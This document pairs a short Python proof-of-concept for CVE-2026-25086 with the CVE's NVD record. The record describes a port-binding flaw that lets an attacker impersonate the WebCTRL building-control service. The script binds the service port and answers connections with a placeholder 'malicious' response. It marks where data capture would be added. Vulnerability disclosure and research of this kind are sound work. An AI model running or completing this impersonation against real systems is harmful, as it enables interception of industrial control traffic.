CVE-2026-25086

import socket import sys # PoC for CVE-2026-25086: Port Binding Impersonation # Description: This script attempts to bind to a specific port to impersonate the WebCTRL service. # Note: This is a conceptual demonstration for educational purposes. def impersonate_service(target_ip, target_port): try: # Create a TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Allow address reuse to facilitate binding sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print(f"[*] Attempting to bind to {target_ip}:{target_port}...") sock.bind((target_ip, target_port)) sock.listen(5) print(f"[+] Successfully bound to port {target_port}. Impersonating service.") while True: conn, addr = sock.accept() print(f"[!] Connection intercepted from {addr}") # Logic to send malicious packets or capture data would go here conn.send(b"MALICIOUS_RESPONSE") conn.close() except PermissionError: print("[-] Error: Permission denied. Try running with elevated privileges.") except OSError as e: print(f"[-] Error: Could not bind to port. {e}") except KeyboardInterrupt: print("\n[*] Stopping PoC.") sock.close() if __name__ == "__main__": # Replace with the actual port used by WebCTRL TARGET_PORT = 80 # Example port, actual port depends on configuration TARGET_IP = "0.0.0.0" impersonate_service(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-25086", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:25.683", "lastModified": "2026-03-23T16:16:43.883", "vulnStatus": "Awaiting Analysis", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Under certain conditions, an attacker could bind to the same port used \nby WebCTRL. This could allow the attacker to craft and send malicious \npackets and impersonate the WebCTRL service without requiring code \ninjection into the WebCTRL software."}, {"lang": "es", "value": "Bajo ciertas condiciones, un atacante podría vincularse al mismo puerto utilizado por WebCTRL. Esto podría permitir al atacante crear y enviar paquetes maliciosos e suplantar el servicio de WebCTRL sin requerir la inyección de código en el software de WebCTRL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-605"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-605"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-078-08.json", "source": "[email protected]"}, {"url": "https://www.automatedlogic.com/en/company/security-commitment/", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-08", "source": "[email protected]"}]}}